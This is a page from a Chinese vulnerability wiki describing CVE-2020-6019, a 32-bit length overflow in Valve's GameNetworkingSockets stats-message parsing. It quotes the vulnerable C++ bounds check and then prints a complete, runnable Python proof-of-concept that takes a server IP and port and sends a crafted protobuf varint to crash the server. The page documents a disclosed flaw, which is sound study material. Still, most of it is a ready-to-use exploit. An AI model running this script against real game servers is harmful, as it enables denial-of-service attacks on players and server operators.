menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right Vulnerability-棱角社区(Vulnerability)项目漏洞-20210715 chevron_right CVE-2020-6019 Valve Game Networking Sockets 安全漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    CVE-2020-6019 Valve Game Networking Sockets 安全漏洞.md
    4.22 KB / 2021-05-21 09:14:38
        # CVE-2020-6019 Valve Game Networking Sockets 安全漏洞
    
    Valvesoftware ValveSoftware GameNetworkingSockets是美国维尔福(Valvesoftware)公司的一个用于游戏传递数据的传输层支持软件。 Valves Game Networking Sockets v1.2.0之前版本存在安全漏洞,该漏洞源于在函数CConnectionTransportUDPBase::Received Data()中不正确地处理内联统计消息,导致libprotobuf抛出异常并导致崩溃。
    
    文件:steamnetworkingsockets\clientlib\steamnetworkingsockets_udp.cpp
    
    函数:CConnectionTransportUDPBase::Received_Data()
    
    连接协议支持作为传入消息头的一部分传输统计数据。
    
    在准备解析protobuf编码的统计blob时,边界检查中有一个32位溢出:
    
    
    ```
    pIn = DeserializeVarInt( pIn, pPktEnd, cbStatsMsgIn );
    if ( pIn == NULL )
    {
            ReportBadUDPPacketFromConnectionPeer( "DataPacket", "Failed to varint decode size of stats blob" );
            return;
    }
    // EI-DBG: Classic 32-bit overflow, and it turns out that CS:GO is 32bits (client & server).
    // EI-DBG: Will lead to an error and raised exception in the ParseFromArray() method
    if ( pIn + cbStatsMsgIn > pPktEnd )
    {
            ReportBadUDPPacketFromConnectionPeer( "DataPacket", "stats message size doesn't make sense.  Stats message size %d, packet size %d", cbStatsMsgIn, cbPkt );
            return;
    }
    
    if ( !msgStats.ParseFromArray( pIn, cbStatsMsgIn ) )
    {
            ReportBadUDPPacketFromConnectionPeer( "DataPacket", "protobuf failed to parse inline stats message" );
            return;
    }
    ```
    
    CVE_2020_6019_PoC_32_bits.py:
    
    
    
    ```python
    #/usr/bin/python3
    
    from elementals import Prompter
    import logging
    import sys
    import socket
    import struct
    
    import steam_networking_sockets
    
    ####################
    # Config Variables #
    ####################
    
    VULNERABILITY_ID    = "CVE-2020-6019 - 32 bits"
    VULNERABILITY_DESC  = "Exception raised when handling large 32-bit length field for incoming stats"
    
    ENCRYPTION_TYPE     = True
    
    ####################
    # Global Variables #
    ####################
    
    logger = None
    
    ##
    # Trigger the vulnerability
    ##
    def startExploit(socket_fd):
        # build a protobuf blob to cause a 32-bit overflow
        blob  = bytes()
        # Varint for the stats length
        # Saw the protobuf raise the exception for it
        wanted_length = 2 ** 32 - 0x4
        while wanted_length > 0:
            next_value = wanted_length >> 7
            blob += struct.pack("B", (wanted_length & 0x7F) | (0x80 if next_value != 0 else 0x00))
            wanted_length = next_value
    
        # Unused length-delimited field to be "skipped" so to cause protobuf to complain about the negative size
        blob += struct.pack("B", (5 << 3) | 2) # field number (5) is unused, and 2 is the wire_type for length-delimited
        # Varint32 length for the "field"
        wanted_length = 0x100
        while wanted_length > 0:
            next_value = wanted_length >> 7
            blob += struct.pack("B", (wanted_length & 0x7F) | (0x80 if next_value != 0 else 0x00))
            wanted_length = next_value
    
        # we don't really need a message
        msg = bytes()
        steam_networking_sockets.connectionSend(socket_fd, msg, protobuf=blob)
    
    ##
    # Prints the usage instructions
    ##
    def printUsage(args):
        print(f"Usage: {args[0]} <server_ip> <server port>")
        print("Exiting")
        exit(1)
    
    ##
    # Main function (example)
    ##
    def main(args):
        global logger
        # Check the arguments
        if len(args) != 1 + 2:
            print(f"Wrong amount of arguments, got {len(args) - 1}, expected 2.")
            printUsage(args)
    
        # parse the args
        server_ip   = args[1]
        server_port = int(args[2])
    
        # open the log
        logger = Prompter(f"Exploit PoC - {VULNERABILITY_ID}", [("exploit_poc.log", "w", logging.DEBUG)], min_log_level=logging.DEBUG)
        logger.info("Starting the exploit PoC:")
        logger.addIndent()
        logger.info(VULNERABILITY_ID)
        logger.info(VULNERABILITY_DESC)
        logger.removeIndent()
    
        # create a Steam Sockets connection
        socket_fd = steam_networking_sockets.createSteamConnection(server_ip, server_port, ENCRYPTION_TYPE, logger)
    
        # start the attack
        startExploit(socket_fd)
    
        logger.info("Finished Successfully")
    
    if __name__ == "__main__":
        main(sys.argv)
    ```
    
    ref:
    
    https://cpr-zero.checkpoint.com/vulns/cprid-2161/
    
    https://www.anquanke.com/vul/id/2235460
    
    https://forum.ywhack.com/thread-114798-1-3.html
    
    links
    file_download